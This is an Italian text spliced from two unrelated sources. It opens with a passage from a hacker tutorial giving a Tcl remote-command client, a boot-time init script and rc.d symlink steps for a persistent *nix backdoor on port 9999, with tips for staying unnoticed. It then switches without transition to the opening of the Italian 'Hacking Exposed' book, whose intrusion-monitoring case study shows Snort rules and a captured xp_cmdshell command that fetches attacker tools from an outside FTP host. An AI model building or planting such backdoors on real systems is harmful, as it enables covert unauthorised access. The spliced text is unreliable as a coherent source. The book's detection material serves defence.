Questo vuol dire che se io voglio entrare nella directory /usr/sbin e lanciare un programma, dovrete mettere come messaggio dal client questo:

```
cd /usr/sbin;./nome_programma
```

ok?
Questo perchè in LINUX come in UNIX i comandi possono essere dati anche non in serie ma separati da un ;

Questo potrebbe essere soddisfacente perchè apre la porta in modo veloce... il client, appena dato il comando si sconnetterà data il fatto che il comando è stato messo in background.

Mica male!

Da notar il ciclo che ci permette di dare un messaggio più di una riga. Questo ci sarà utile per il CLIENT quindi...

Ora preoccupiamoci del CLIENT:

Il client può essere benissimmo una semplice sessione di telnet, ma dato che ci piace fare i raffinati, facciamolo fino in fondo!

Facciamo un CLIENT grafico che si connetta ad un server dato alla porta 9999
e che gli mandi i comandi che vogliamo.

---------INIZIO-----------

```
#!/usr/bin/wish

set host ""
set msg ""

#Con questi imposto il titolo e la geometria della finestra:
wm title . "CLIENT by BAKUNIN"
wm geometry . 400x200

#Sfondo rosso:
. configure -bg red

#Parte dell'HOST:
label .host -text "Inserisci qui l'HOST della vittima:"  -bg red
entry .nhost -textvariable host
place .host -x 10 -y 20
place .nhost -x 230 -y 20

#Parte per il messaggio:
label .msg -text "Inserisci qui i comandi da dare al SERVER:" -bg red
entry .mess -textvariable msg
place .msg -x 10 -y 60
pack .mess -fill x -pady 30m

button .connetti -text "Connetti e invia" -command invia -bg blue
place .connetti -x 130 -y 130

#Procedura per l'invio del messaggio:
proc invia {} {
  global host msg

  #Controllo se l'HOST è stato messo:
  if {[string length $host]<=0} {
    tk_messageBox -icon info -type ok -message "Attenzione! Non hai messo
    l'host!"
    return 1

  #Controllo per il messaggio esiste:
  } elseif {[string length $msg]<=0} {
      tk_messageBox -icon info -type ok -message \
    "Non ha nessun senso connettersi al SERVER se manca un messaggio!"
    return 1
```

```
  #Controllo se l'IP è corretto:
  } elseif {![string match *.*.*.* $host]} {
    tk_messageBox -icon info -type ok -message \
    "Attenzione! L'HOST è tipo 127.0.0.1 !"
    return 1
  } else {

    #Creo il socket e invio i dati:
    set s [socket $host 9999]
    puts $s $msg
    tk_messageBox -icon info -type ok -message \
    "Messaggio inviato con successo!"
    return 1

  }
}

----------FINE------------
```

Fatto! L'ho pure commentato per farvelo capire meglio :).

Semplicemente mando un messaggio all'IP... sarà poi lui a farlo eseguire.
Sappiate che il CLIENT è accetta 2 variabili: HOST e MSG. Uno è il IP del server, l'altro è il messaggio da mandare. Per sicurezza ho fatto dei controlli sulle variabili.
Questi sono:

LA LUNGHEZZA (che non deve essere nulla!): if {[string length $msg]<=0}...
ed anche: if {[string length $msg]<=0} {...
SE È UN VERO IP: if {![string match *.*.*.* $host]} {...

Poi connetto con il solito uso dei socket: set s [socket $host 9999] e invio i messaggi: puts $s $msg.

EX CLARO?

Passiamo alla parte più interessante... far partire un processo all'avvio!
COME FARE?
Semplicissimo!

Basterà creare uno script anche ben inculato... e linkarlo nel posto giusto!
Metterò lo server in TCL nella directory /usr e lo salverò col nome di 1dd2cd.
Voi mettetelo dove volete!

Questo script lo salvo nella stessa directory /usr e lo salvo come 1dd2ck

Vediamo prima lo script che ci serve:

--------INIZIO-------------

```
#!/bin/sh

case "$1" in
	start)
		echo -n "Attivation connection:"
		tcl /usr/1dd2cd & || exit 1
		echo "."
		;;
	stop)
		#Volete dare pure la possibilità di fermarlo? =)
		echo "."
		;;
	*)
		echo "Use: 1dd2ck {start|stop}"
		exit 1
		;;
	esac

	exit 0
```

--------FINE------------------

Semplice no?

Per non marcare particolarmente non mettiamo in esecuzione il file 1dd2cd! Ma teniamolo come file normali. Per farlo partire interpelliamo direttamente il programma tcl: tcl /usr/1dd2cd.

Sicuramente dovrete dare l'eseguibile al file 1dd2ck, quindi:

chmod +x /usr/1dd2ck

Ora mettiamolo in esecuzione all'avvio!
Come fare?

Entriamo nella directory /etc/
Qui dovrebbe esserci una directory /rc.d e altre varie.
Dico dovrebbe perchè cambia in base alle distro di UNIX o LINUX. Entrate nella directory che ci assomiglia di più e all'interno entrate nella directory che volete!

Dico questo perchè mediamente queste dovrebbero tipo: rc1.d rc2.d o simili
Sappiate che in base alle varie distro può cambiare abbastanza!

Entrati lì dentro fate questo:

```
ln -s /usr/1dd2ck S391dd2ck
```

Cosa ho fatto? Semplice, ho creato un collegamento simbolico da /usr/1dd2ck alla directory in cui siete ora. In più ho dato il nome al link come S39idd2ck.

NOTA IMPORTANTE: S39 per un motivo molto importante! Nella directory che avete scelto per il link vedrete che tutti i file sono numerati o come Snumero o come Knumero. È indifferente che lettera scegliete l'importante e che il numero sia molto basso. Io ho scelto S39 ma se c'è già cambiate!

Mettete il numero che volete voi in base all'assenza di essi. Quindi fate! Più il numero è piccolo più parte prima all'avvio. Avete in mente come parte una macchina linux? Dopo i lavori del kernel, incomincia a far partire file di configurazione. Quelli sono tutti lì! E vengono caricati in ordine del numero e della lettera.

Ora non resta che farlo partire subito con un bel:

```
./1dd2ck start
```

e via! La backdoor è montata e funzionante... non vi resta che uscire e giocare con vostro bel client sulla porta 9999.

Spero di avervi mostrato un metodo come un altro per la creazione di una backdoor in un sistema *NIX/LINUX con un minimo di programmazione in TCL.

Stuart McClure
Joel Scambray • George Kurtz

4.0

HACKER!

Prevenire gli attacchi informatici è possibile

NUOVE TECNICHE DI PROTEZIONE

- I metodi usati dagli hacker per individuare gli obiettivi e i punti vulnerabili
- L'hacking delle reti wireless 802.11
- Pianificazione e processi per raggiungere un elevato livello di sicurezza

APOGEO

Stuart McClure
Joel Scambray
George Kurtz

Hacker! 4.0

Nuove tecniche di protezione

APOGEO

Hacker! 4.0
Nuove tecniche di protezione

Titolo originale:
Hacking Exposed Fourth Edition. Network Security Secrets & Solutions

Autori:
Stuart McClure, Joel Scambray, George Kurtz

Via Natale Battaglia, 12 – 20127 Milano (Italy)
Telefono: 02-289981 – Fax: 02-26116334
Email: **apogeo@apogeonline.com**
Sito Web: **www.apogeonline.com**

ISBN 88-503-2124-4

Traduzione: Daniela Carlini, Georges Piriou, Antonella Rivalta, Maurizio Valente
Realizzazione editoriale: ART Servizi Editoriali S.p.A. – Bologna
Copertina e progetto grafico: Enrico Marcandalli
Responsabile di produzione: Vitiano Zaini

Sommario

Parte III - Hacking delle reti

Capitolo 10 - Hacking delle reti wireless 413

Capitolo 11 - Firewall 451

Capitolo 12 - Denial of Service 473

Parte IV - Hacking del software

Capitolo 14 - Tecniche avanzate 523

Capitolo 15 - Hacking del Web 559

Parte V - Appendici

Introduzione

Ci viene chiesto continuamente: "Davvero insegnate le tecniche dell'hacking?" Invariabilmente, rispondiamo: "Sì, più o meno. Spieghiamo con esempi pratici le tecniche e la mentalità degli hacker. Illustriamo in che modo essi operano. Sveliamo gli arcani delle loro tecniche affinché possiate difendervi. Se non ci liberiamo di questi pregiudizi, gli utenti non saranno mai al sicuro." C'è un'altra domanda che ci viene posta: "Le probabilità di successo sono a favore degli hacker?" La risposta a questa domanda è un *sì*, ma con riserva. Se si tiene conto unicamente del tempo che dedicano all'individuazione di metodi utili per forzare la sicurezza, gli aggressori hanno ottime carte da giocare (potete puntare su di loro). Tuttavia, grazie alle informazioni fornite da libri come questo, l'esito della partita non è poi così scontato. Che cosa intendiamo dire realmente? Certo, la sicurezza è un tema arduo e le informazioni sulle tecniche e contromisure da adottare per difendersi dagli hacker sono ancora più difficili da assimilare; guardiamo però in faccia la realtà: coloro che operano nel settore dell'IT sono avidi di informazioni sugli attacchi alle reti, ai sistemi operativi, ai database e agli application layer. Sono pochi gli amministratori che capiscono realmente che cosa s'intende per sicurezza e sanno come gestire gli enormi problemi connessi. Invece gli hacker sono bene informati su questi punti vulnerabili e conoscono gli attacchi per sfruttare questi punti deboli. Chi dunque ha in mano le carte migliori?

Dovete rendervi conto che gli hacker conoscono già tutti i trucchi; a essi non possiamo insegnare proprio nulla. In pratica, intendiamo fornire al lettore un'idea della mentalità e delle tecniche dell'hacker. Nel caso che qualcuno abbia obiezioni in merito al contenuto di questo libro, provi a pensare a quanto potrebbe accadere senza di esso: i malintenzionati sarebbero gli unici a disporre di queste informazioni e voi sareste in loro balia. Sarebbe una lotta impari, non vi pare?

Se non siamo riusciti a chiarire fino in fondo gli obiettivi di questo libro, consentiteci di ribadirli: utilizzate queste informazioni solo per scopi leciti. Se non darete ascolto a questo suggerimento, vi scoveremo e per voi non sarà un'esperienza piacevole.

Novità della quarta edizione

Il mondo digitale si muove a una velocità superiore a quella della luce. Apparentemente, non passa un'ora senza che facciano la loro comparsa nuovi tool per gli hacker, nuove tecniche e metodologie; il compito di raccogliere e disseminare informa-

zioni su queste nuove tecnologie e di renderle intelligibili è molto impegnativo. Come nelle precedenti edizioni, ci siamo prodigati per fornirvi le informazioni più aggiornate su tecnologie e tecniche.

Nuovi contenuti

I nuovi argomenti affrontati per la prima volta in questa edizione sono elencati di seguito.

1. Un capitolo totalmente nuovo dedicato gli attacchi alle reti wireless 802.11.
2. I metodi di hacking delle reti più recenti, come quelli che prevedono l'utilizzo del tracerouting, di dsniff, linsniff, ARP, SNMP, RIP.
3. Contromisure aggiornate per prevenire lo sfruttamento di vulnerabilità dei firewall connesse ai proxy e al filtraggio dei pacchetti.
4. Un capitolo sul Web Hacking completamente rivisto e aggiornato, con la descrizione delle più recenti vulnerabilità specifiche di varie piattaforme, da Apache a IIS, delle più recenti tecniche, compresi il cross-site scripting, il fuzzing e gli attacchi a iniezione SQL, e di tutti i più recenti tool, da Achilles a Nikto.
5. Descrizione di tutti i nuovi tool DDoS (*Distributed Denial of Service*) e dei relativi trucchi.
6. Nuove informazioni sul "rischio Web", compresi i punti deboli della validazione dell'input e i talloni d'Achille della progettazione di siti Web.
7. Nuovi casi di studio presentati all'inizio di ogni parte, riguardanti recenti attacchi alla sicurezza degni di nota.
8. Nuove tecniche per ottenere l'accesso non autorizzato a Windows 9x/ME/XP e Windows NT/2000/2003 Server, Novell 6, UNIX, Linux e decine di altre piattaforme.
9. Nuove strategie per attuare *una difesa preventiva* contro attacchi dial-up, PBX, voicemail e a VPN.
10. Il popolare sito Web `http://www.hackingexposed.com` contiene link a tutti i tool e tutte le risorse Internet citati.

Facile consultazione

Per questa quarta edizione abbiamo utilizzato il popolare formato di *Hacker!* ; ogni tecnica di attacco viene evidenziata con una speciale icona sul margine della pagina, simile a quella mostrata di seguito.

Icona dell'attacco

Questa icona facilita l'individuazione di specifici tool per test di penetrazione e delle relative metodologie.

- A ogni attacco è associata una contromisura adeguata, di utilità pratica ed efficacia comprovata.

Anche le contromisure sono contrassegnate da un'icona specifica.

Icona della contromisura

Potete andare direttamente alla soluzione dei problemi, se lo desiderate!

- Abbiamo effettuato una "pulizia" radicale dei listati di codice esemplificativi, delle schermate e dei diagrammi, evidenziando in modo speciale l'input dell'utente mediante l'utilizzo del neretto nei suddetti listati.
- A ogni attacco è associato un fattore di rischio aggiornato, ricavato da tre componenti e basato sull'esperienza degli autori.

Diffusione:	*La frequenza con cui il tipo di attacco in questione viene utilizzato contro bersagli reali (1 corrisponde a "raro", 10 a "utilizzato di frequente").*
Semplicità:	*Il livello di abilità necessaria per eseguire l'attacco (1 corrisponde all'abilità di un programmatore esperto di problemi di sicurezza, 10 corrisponde a quella di un principiante).*
Impatto:	*I danni potenziali provocati dal successo dell'attacco (1 corrisponde all'accesso a informazioni di scarsa importanza sul bersaglio, 10 alla compromissione dell'account superuser o un danno equivalente).*
Fattore di rischio:	*Viene calcolata la media dei tre valori precedenti, in modo da fornire la classificazione complessiva del rischio.*

Nota finale

Come sempre, ci siamo sforzati di fornire informazioni tempestive, accurate e realmente utili sulle tecniche degli hacker e sui tool da essi utilizzati, mettendovi contemporaneamente in grado di difendervi da costoro. Speriamo che in questo libro possiate trovare qualcosa di realmente utile, non solo una serie di astuti stratagemmi. Confidiamo invece che vi rendiate conto dell'importanza di proteggere il vostro patrimonio di informazioni in un mondo popolato da malintenzionati. Buona lettura!

Parte I

Esame della struttura

Caso di studio: monitoraggio della sicurezza delle reti

Qual è il livello di efficacia dei sistemi di intercettazione delle intrusioni (IDS) rispetto agli attacchi descritti in questo libro? I fornitori di software cercano con ogni mezzo di rilevare pacchetti con velocità di trasmissione ancora maggiori. Gli utenti si lamentano dei "falsi risultati positivi" e della "correlazione degli eventi". La crittografia e il codice polimorfico minacciano di sconfiggere i sistemi di comparazione delle impronte. Si intravvede la luce alla fine del tunnel? La risposta è affermativa. Si chiama monitoraggio della sicurezza delle reti, o NSM (*Network Security Monitoring*).

L'NSM prevede la raccolta, l'analisi e l'intensificazione di indicazioni e avvertimenti utili a rilevare le intrusioni e rispondervi. L'NSM, il cui nome si ispira a "Network Security Monitor" di Todd Heberlein, è un modello operativo basato sui metodi di raccolta di informazioni segrete dei segnali dell'aviazione militare statunitense. Comprende i prodotti di intercettazione delle intrusioni (IDS), che generano avvisi, il personale incaricato di interpretare indicazioni e avvertimenti e i processi, che innalzano il livello di attenzione per eventi validati, a beneficio di coloro cui spetta prendere decisioni. Descriveremo il monitoraggio della sicurezza delle reti nel contesto di un'intrusione che è stata rilevata e neutralizzata basandosi appunto sui principi dell'NSM.

L'NSM tiene conto del fatto che occorrono tre tipi di indicazioni e avvertimenti (dati I&W) per produrre un quadro completo di un'attività sospetta. Il primo tipo, i dati di evento, è costituito da avvisi generati da sistemi di intercettazione delle intrusioni. Solitamente, questi dati sono generati da un'impronta. Ecco una regola di Snort per vigilare su attacchi sferrati ai server Microsoft SQL:

```
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:MS-SQL xp_cmdshell - program
execution; content: x¦00¦p¦00¦_¦00¦c¦00¦m¦00¦d¦00¦s¦00¦h¦00¦e¦00¦l¦00¦l¦00¦;
nocase; flags:A+; classtype:attempted-user; sid:687; rev:3;)
```

Questo tipo di regola genera dati di evento quando l'IDS vede un pacchetto contenente dati conformi ai criteri. Ecco un esempio di questa regola di Snort, che scatta dopo l'individuazione di un pacchetto sospetto:

```
[**] [1:687:3] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
04/02-12:46:58.109453 172.16.86.36:3544 -> 192.168.46.111:1433
TCP TTL:107 TOS:0x0 ID:18073 IpLen:20 DgmLen:182 DF
***AP*** Seq: 0x5D4A696  Ack: 0x7ACAAC20  Win: 0x3F10  TcpLen: 20
```

Questi dati di evento indicano che un pacchetto proveniente da 172.16.86.36 contiene l'impronta contrassegnata come avviso "MS-SQL xp_cmdshell – program execution". Se un analista non dispone di dati di supporto, non può essere certo che questo indicatore segnali un attacco da parte di un malintenzionato. La maggior parte degli utenti di IDS, nel migliore dei casi, non sa come sfruttare tutte queste informazioni. Coloro che utilizzano i principi guida dell'NSM hanno qualche carta in più da giocare.

Oltre che sui dati di evento, l'NSM si basa sui dati di sessione. Questi tipi di dati I&W includono informazioni riassuntive sulle connessioni di rete. Questo "network digest" (condensato dei dati della rete) include l'ora, gli indirizzi IP, le porte sorgen-

ti e di destinazione e pacchetti e byte di dati inviati dalla sorgente e dalla destinazione. I dati di evento possono essere le informazioni più interessanti tra quelle disponibili. In questo caso la crittografia non rappresenta un ostacolo. Anche i pacchetti per i quali non è scritta alcuna impronta non passano inosservati. Tutti i dati di sessione riguardano le conversazioni tra due host. L'esempio seguente si riferisce ai dati di sessione. Riuscite a vedere la sessione TCP che ha provocato la generazione di avvisi Snort? Essa ha avuto luogo alle ore 12:46:58.

```
Time     | Source IP      | Port | Destination    | Port | SP  |   SB   | DP  |   DB
---------+----------------+------+----------------+------+-----+--------+-----+--------
12:09:42 | 172.16.86.36   | 3341 | 192.168.46.111 | 1433 |   5 |    260 |   3 |    124
12:09:42 | 172.16.86.36   | 3342 | 192.168.46.111 | 1433 |  56 |   2460 |  99 | 134467
12:09:52 | 172.16.86.36   | 3343 | 192.168.46.111 | 1433 |   6 |    466 |   3 |   1064
12:09:58 | 172.16.86.36   | 3344 | 192.168.46.111 | 1433 |   6 |    466 |   3 |    645
12:10:05 | 172.16.86.36   | 3345 | 192.168.46.111 | 1433 |   6 |    466 |   3 |    681
12:10:10 | 172.16.86.36   | 3346 | 192.168.46.111 | 1433 |   6 |    466 |   3 |    681
12:46:51 | 172.16.86.36   | 3535 | 192.168.46.111 | 1433 |   5 |    448 |   3 |    571
12:46:52 | 172.16.86.36   | 3536 | 192.168.46.111 | 1433 |   5 |    462 |   3 |    571
12:46:53 | 172.16.86.36   | 3537 | 192.168.46.111 | 1433 |   5 |    480 |   3 |    571
12:46:53 | 172.16.86.36   | 3538 | 192.168.46.111 | 1433 |   5 |    482 |   3 |    571
12:46:54 | 172.16.86.36   | 3539 | 192.168.46.111 | 1433 |   5 |    478 |   3 |    571
12:46:55 | 172.16.86.36   | 3541 | 192.168.46.111 | 1433 |   5 |    532 |   3 |    571
12:46:55 | 172.16.86.36   | 3540 | 192.168.46.111 | 1433 |   5 |    548 |   3 |    571
12:46:56 | 172.16.86.36   | 3542 | 192.168.46.111 | 1433 |   5 |    524 |   3 |    571
12:46:57 | 172.16.86.36   | 3543 | 192.168.46.111 | 1433 |   5 |    456 |   3 |    571
12:46:58 | 172.16.86.36   | 3544 | 192.168.46.111 | 1433 |   9 |    654 |   8 |   6648
12:46:58 | 192.168.46.111 | 2267 | 172.173.86.248 |   21 |  24 |   1144 |  22 |   3433
12:47:00 | 172.173.86.248 |   20 | 192.168.46.111 | 2268 |   7 |   2047 |   4 |    164
12:47:01 | 172.173.86.248 |   20 | 192.168.46.111 | 2269 | 365 | 511444 | 242 |   9684
12:47:11 | 172.173.86.248 |   20 | 192.168.46.111 | 2271 |  17 |  18608 |  11 |    444
12:47:13 | 172.16.86.36   | 3550 | 192.168.46.111 | 1433 |   5 |    438 |   4 |    611
12:47:16 | 172.16.86.36   | 3551 | 192.168.46.111 | 1433 |   6 |    507 |   4 |    580
12:47:30 | 172.16.86.36   | 3552 | 192.168.46.111 | 5446 |  36 |   1583 |  27 |   1671
12:47:32 | 172.16.86.36   | 3553 | 192.168.46.111 | 2274 |   4 |    168 |   5 |    603
```

Le colonne, il cui significato non è evidente, sono: `SP` (il numero di pacchetti inviati dalla fonte), `SB` (il numero di byte di dati inviati dall'origine), `DP` (il numero di pacchetti inviati dalla destinazione) e `DB` (il numero di byte di dati inviati dalla destinazione).

Questo log di sessione avrebbe potuto contenere altri elementi, per esempio il protocollo per ogni connessione (in questo caso, TCP), la data e i flag TCP osservati durante ogni conversazione.

Il primo segno di un'attività intrusiva da parte dell'aggressore, 172.16.86.36, viene rilevato verso le 12:09. Visto il numero ridotto di byte sorgente e di destinazione e il numero di pacchetti inviati dalla sorgente e dalla destinazione, si può assumere che si tratti di un'attività di riconoscimento. In effetti, il nostro motore di rilevamento ha scoperto questo evento. Esso è registrato in un log di riconoscimento separato:

```
[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 172.16.86.36 (THRESHOLD
4 connections exceeded in 0 seconds) [**]
```

Oltre all'attività riguardante la porta 1433 TCP sulla macchina violata, rileviamo una sessione FTP in uscita da 192.168.46.111 e diretta a 172.173.86.248, alle ore 12:46:58. Vediamo il traffico del canale di controllo sulla porta 21 TCP, seguito da

tre canali dati sulla porta 20 TCP. Osserviamo poi altre due connessioni alla porta 1433 TCP, che presumibilmente servono per eseguire ulteriori comandi. Esse sono seguite da connessioni alle porte 5446 TCP e 2274 TCP sul sistema violato. Avendo rilevato questa attività, le informazioni di cui disponiamo su questo incidente risultano più dettagliate di quelle fornite dai dati di evento.
Provate a immaginare tutte le varie query a cui diamo risposta utilizzando i nostri dati di sessione. Potremmo esaminare tutto il traffico riguardante gli elementi seguenti:

- l'intruso, 172.16.86.36;
- la porta 1433 TCP, il bersaglio dei tentativi di penetrazione;
- il sito dei tool dell'intruso, 172.173.86.248;
- la porta 5446 TCP, una porta sospetta;
- la porta 2274 TCP, un'altra porta sospetta.

Identificando altri server compromessi, potremmo cercare tutto il traffico riguardante questi sistemi violati, così come abbiamo fatto per 192.168.46.111.
Il terzo tipo di dati I&W richiede il salvataggio di pacchetti sul disco rigido dell'IDS. Sfortunatamente, la registrazione integrale funziona solo su reti a larghezza di banda ridotta con politiche di sicurezza e utilizzo applicate rigidamente. Siamo riusciti a salvare quasi trenta giorni di dati, su un'unità a 18 GB, in siti di clienti con connessioni T-1. Tuttavia, i clienti che utilizzano distribuzioni speculari di Linux sono inseriti in reti peer-to-peer e si servono ampiamente di streaming audio e video, rendendo in breve tempo impossibile la registrazione integrale.
Negli ambienti a banda larga, i tecnici della sicurezza devono decidere quale traffico non deve essere registrato. Alcuni sceglieranno di ignorare servizi molto diffusi, quali l'HTTP diretto all'esterno, lo streaming audio e video diretto all'interno e tutto il traffico peer-to-peer. Gli aggressori possono sfruttare queste limitazioni per i loro scopi, come dimostreremo in seguito.
Il lato positivo della registrazione integrale dei contenuti risiede nella possibilità di acquisire materiale probatorio sulla rete, utile per un'eventuale azione legale contro l'aggressore, indipendentemente dalla presenza o dall'assenza di regole per rilevare l'evento in questione. Assumendo che i pacchetti associati a un evento vengano registrati e che non siano criptati, è possibile esaminare gli incidenti in modo particolarmente dettagliato.
Ecco, per esempio, il contenuto completo per il pacchetto che ha fatto scattare la prima regola di Snort:

```
04/02-12:46:58.109453 0:3:31:DF:80:1C -> 0:50:54:FF:7F:2C type:0x800 len:0xC4
172.16.86.36:3544 -> 192.168.46.111:1433 TCP TTL:107 TOS:0x0 ID:18073 IpLen:20
DgmLen:182 DF
***AP*** Seq: 0x5D4A696  Ack: 0x7ACAAC20  Win: 0x3F10  TcpLen: 20
01 01 00 8E 00 00 01 00 45 00 58 00 45 00 43 00  ........E.X.E.C.
20 00 6D 00 61 00 73 00 74 00 65 00 72 00 2E 00   .m.a.s.t.e.r...
2E 00 78 00 70 00 5F 00 63 00 6D 00 64 00 73 00  ..x.p._.c.m.d.s.
68 00 65 00 6C 00 6C 00 20 00 22 00 66 00 74 00  h.e.l.l. .".f.t.
70 00 2E 00 65 00 78 00 65 00 20 00 2D 00 76 00  p...e.x.e. .-.v.
20 00 2D 00 6E 00 20 00 2D 00 73 00 3A 00 5C 00   .-.n. .-.s.:.\.
66 00 74 00 70 00 2E 00 74 00 78 00 74 00 20 00  f.t.p...t.x.t. .
31 00 37 00 32 00 2E 00 31 00 37 00 33 00 2E 00  1.7.2...1.7.3...
38 00 36 00 2E 00 32 00 34 00 38 00 22 00        8.6...2.4.8.".
```

Possiamo osservare l'intruso che da 172.16.86.36 cerca di introdursi in un sistema (192.168.46.111) per iniziare una sessione FTP con 172.173.86.248. L'intruso sta cercando di sfruttare un punto vulnerabile di Microsoft SQL Server e ha apparentemente già creato un file sul sistema violato, chiamato `ftp.txt`, contenente comandi da eseguire durante la sessione FTP. Poiché abbiamo effettuato la registrazione integrale dei dati per questa connessione, questi comandi sono stati salvati sul disco rigido dell'IDS:

```
user upload
pass upl0ad
cwd Hax0r
PORT 192,168,46,111,8,220
RETR servudaemon.ini
PORT 192,168,46,111,8,221
RETR winmgnt.exe
PORT 192,168,46,111,8,223
RETR tlist.exe
QUIT
```

Ecco i dati inviati dalla destinazione, cioè dal server FTP all'indirizzo 172.173.86.248 (noterete che l'output è stato modificato per motivi di spazio e per proteggere l'identità degli interessati):

```
220-Welcome to Our Server
220 ------------------------------------------------------------------
331 User name okay, need password.
230-----------------------------------------------------------------
230-Days up :: 6 days.
230-Hours up :: 19 hours.
230-Minutes up :: 46 minutes.
230-Seconds up :: 10 seconds.
230-----------------------------------------------------------------
230-Users logged in now :: 2 users.
230-Users logged in last 24 hours :: 23 users.
230-Total users logged in :: 250 users.
230-----------------------------------------------------------------
230-Current throughput :: 0.000 Kb/sec
230-(Average throughput :: 0.418 Kb/sec)
230-----------------------------------------------------------------
230-Kilobytes Uploaded :: 1985 Kb.
230-Kilobytes Downloaded :: 244500 Kb.
230-----------------------------------------------------------------
230-Files Uploaded :: 11 files.
230-Files Downloaded :: 615 files.
230-----------------------------------------------------------------
230-Diskspace Free :: 136.79 Kb.
230-----------------------------------------------------------------
230-(192.168.46.111)
230-----------------------------------------------------------------
230-Do NOT Rehack This Pubstro
230-Do NOT Upload or Delete On This Pubstro
230-Do NOT Hammer
230-----------------------------------------------------------------
230 User logged in, proceed.
250-------------------------------------
```

```
250-136.79 MB free
250-2 users connected
250-0.203 KB/sec is in use
250-------------------------------------
250 Directory changed to /Hax0r
200 PORT Command successful.
150 Opening ASCII mode data connection for servudaemon.ini (1759 bytes).
226 Transfer complete.
200 PORT Command successful.
150 Opening ASCII mode data connection for winmgnt.exe (496836 bytes).
226 Transfer complete.
200 PORT Command successful.
150 Opening ASCII mode data connection for tlist.exe (17920 bytes).
226 Transfer complete.
220-------------------------------------------------------------------
220-                  Have a nice day!
```

Dal momento che stiamo raccogliendo dati grezzi completi, possiamo utilizzare Ethereal (`www.ethereal.com`) per ricostruire i tre file che sono stati scaricati sulla macchina violata. Il primo di essi, `servudaemon.ini`, è un file di testo. Ecco l'inizio del file:

```
[GLOBAL]
Version=3.1.0.3
RegistrationKey=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASgAAA0XVDzwQJwIQCFJlYUxJc1
R5BFJlYUw=
LocalSetupPassword=56354F5147035E545F1E405E
LocalSetupPortNo=5446
AntiHammer=1
SocketKeepAlive=1
PacketTimeOut=300
```

Queste informazioni sono fondamentali, poiché illustrano il traffico osservato sulla porta 5446 TCP diretto verso la macchina violata. Ricordate le righe seguenti nei dati di connessione?

```
12:47:30 | 172.16.86.36   | 3552 | 192.168.46.111 | 5446 |  36 |  1583 | 27 |  1671
12:47:32 | 172.16.86.36   | 3553 | 192.168.46.111 | 2274 |   4 |   168 |  5 |   603
```

Esaminate ora questa riga di `servudaemon.ini`:

```
LocalSetupPortNo=5446
```

Essa indica che un server FTP programmato rimarrà in ascolto sulla porta 5446 TCP della macchina violata.

Possiamo ora assumere che la porta 5446 TCP è il canale di controllo per questo nuovo server FTP. La porta 2274 TCP è quindi il canale dati? Sfortunatamente, l'aggressore ha sfruttato in modo inconsapevole le restrizioni sul logging connesse al monitoraggio di un sito a larghezza di banda elevata. Sebbene il nostro sistema di monitoraggio della sicurezza delle reti abbia catturato l'interazione dell'intruso con il server SQL, acquisito le battute sulla tastiera durante la sua sessione FTP e raccolto i file trasmessi, il traffico riguardante le porte 5446 e 2274 TCP non è stato registrato.

Il secondo e il terzo file recuperati dall'intruso sono file binari di Windows, come mostrato dal comando UNIX `file`:

```
file winmgnt.exe tlist.exe
winmgnt.exe: MS-DOS executable (EXE), OS/2 or MS Windows
tlist.exe:   MS Windows PE 32-bit Intel 80386 console executable not relocatable
```

Questi file binari potrebbero essere disassemblati, eseguiti su una macchina di prova, o analizzati in diversi altri modi.
Una ricerca sul Web rivela che `tlist.exe` è un'utility Windows per l'elencazione dei processi. Non siamo stati in grado di stabilire la funzione del file `winmgnt.exe` senza effettuare un'analisi binaria sull'eseguibile. Neppure l'NSM è in grado di rispondere a tutte le nostre domande!

Gestione di un incidente mediante il monitoraggio autonomo della sicurezza delle reti

Prendete in esame questi due scenari e indovinate in quale dei due viene implementato l'NSM.

1. Un analista si avvede che il suo sistema di riconoscimento delle intrusioni sulla rete segnala un evento sospetto. Egli non è in grado di validare l'incidente in modo indipendente e non è nemmeno sicuro di potersi affidare al suo IDS. Apre un trouble ticket (messaggio di segnalazione problemi) e lo inoltra al responsabile dell'amministrazione della macchina bersaglio. Se è abbastanza preoccupato, chiama il cliente per chiedergli di indagare su una possibile compromissione. Egli dispone di informazioni limitate sulle circostanze dell'incidente. Riprende a lavorare.
2. Un analista si avvede che il suo sistema di riconoscimento delle intrusioni sulla rete segnala un evento sospetto. Consulta i dati di evento, i dati di sessione e i dati grezzi. Egli si fida del suo IDS poiché è in grado di validarne i risultati. Stabilisce in modo indipendente che un intruso ha sfruttato un attacco di un server vulnerabile Microsoft SQL, inducendolo a scaricare tre file tramite l'FTP. I suoi dati di sessione mostrano che il server FTP è attivo. Egli verifica la natura dell'intrusione esaminando i file trasmessi durante la sessione FTP. Eseguendo una ricerca a ritroso nei suoi file di log, riesce a individuare l'inizio dell'attacco al punto vulnerabile e scopre in che modo l'intruso ha compromesso il sistema violato. Forte di queste informazioni, l'analista NMS telefona al cliente, gli spiega la situazione e suggerisce alcune soluzioni per risolvere il problema, poiché è a conoscenza di tutto ciò che è accaduto alla macchina violata. Quando il cliente è soddisfatto, classifica gli avvisi pertinenti sul suo monitor e vi aggiunge il proprio nome utente, assumendosi in questo modo la responsabilità delle proprie azioni. Riprende poi a lavorare, pronto a mettere a disposizione materiale probatorio, qualora il cliente decida di adire alle vie legali nei confronti dell'intruso.

Capitolo 1

Footprinting

Prima di arrivare alla parte realmente interessante, un hacker deve compiere tre passaggi fondamentali. In questo capitolo viene presentato il primo, il cosiddetto *footprinting*, ovvero la sottile arte di raccogliere informazioni su un possibile obiettivo. Quando, per esempio, i ladri decidono di svaligiare una banca, non si limitano a entrare e a pretendere i soldi (non i più furbi, almeno). Prima di tutto raccolgono informazioni sulla banca: i percorsi e gli orari del furgone blindato, la posizione delle telecamere, il numero di impiegati, le uscite di sicurezza e qualsiasi altra informazione possa risultare utile per il colpo.
Lo stesso vale per qualsiasi hacker: per riuscire a portare a termine un attacco puntuale e chirurgico (che non sia quindi immediatamente riconoscibile come tale), è necessaria una notevole quantità di informazioni. Di conseguenza, l'hacker cercherà di raccogliere il maggior numero possibile di informazioni su tutti gli aspetti relativi alla protezione di una struttura. L'obiettivo è determinarne il *footprint* (letteralmente "impronta"), cioè il profilo della presenza di Internet, della tecnologia per l'accesso remoto e di eventuali Intranet/Extranet. Seguendo una metodologia ben strutturata, gli hacker riescono a raccogliere informazioni da una serie di fonti e a ricostruire l'impronta fondamentale di qualsiasi organizzazione.

Che cos'è il footprinting

